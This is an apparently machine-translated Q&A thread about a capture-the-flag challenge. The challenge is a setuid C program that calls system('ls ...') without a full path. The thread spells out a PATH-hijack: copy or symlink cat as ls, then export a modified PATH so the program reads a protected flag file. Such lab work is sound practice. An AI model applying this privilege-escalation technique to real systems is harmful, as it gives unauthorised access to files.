X-U*_*ser 6 c linux bash shell
我试图解决这个问题,我只允许运行ls命令,我的目标是读取标志.有一个易受攻击的C代码,它有setuid.
-rwsr-sr-x 1 lameprogrammer lameprogrammer 8579 Sep 15 07:21 vul_c
-rw-r----- 1 lameprogrammer lameprogrammer 154 Sep 15 07:40 flag
Run Code Online (Sandbox Code Playgroud)
我是用户攻击者,我必须阅读此标志文件.给定的C代码是
#include <stdlib.h>
#include <stdio.h>
#define FILENAME "/var/challenges/attacker/challenge1/flag"
int main(void)
{
int vert;
vert = system("ls " FILENAME);
if(!vert)
puts("Flag is at " FILENAME " :P ");
else
puts("Sorry! no file is there");
}
Run Code Online (Sandbox Code Playgroud)
我试图将ls转换为cat,这样如果运行,那么它将读取标志文件.为此,我将所有bin文件夹复制到我的本地空间,然后用cat替换ls然后导出新的PATH.从技术上讲,它应该替换,我的ls命令应该像猫一样工作,但它不起作用.以下是我的命令:
cp -r /bin /home/attacker
cd /home/attacker/bin
rm ls
cp cat ls
export PATH=/home/attacker/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/usr/games
Run Code Online (Sandbox Code Playgroud)
该LS命令无法正常运转的猫和输出是:
ls: unrecognized option '--color=auto'
Try 'ls --help' for more information.
Run Code Online (Sandbox Code Playgroud)
当我试图运行./vul_c它说权限被拒绝然后它打印对不起!没有档案.
对此的任何帮助都会很棒.
你的方向是对的,但你只是为了这件小事付出了太多的努力。与其创建一个程序,为什么不创建一个符号链接,然后将其指向cat.
尝试执行此步骤:
ln -s /bin/cat ls
Run Code Online (Sandbox Code Playgroud)
最后,导出这个,我希望你能完成你的解决方案。在此,您甚至不必担心许可。让我知道它是否有效。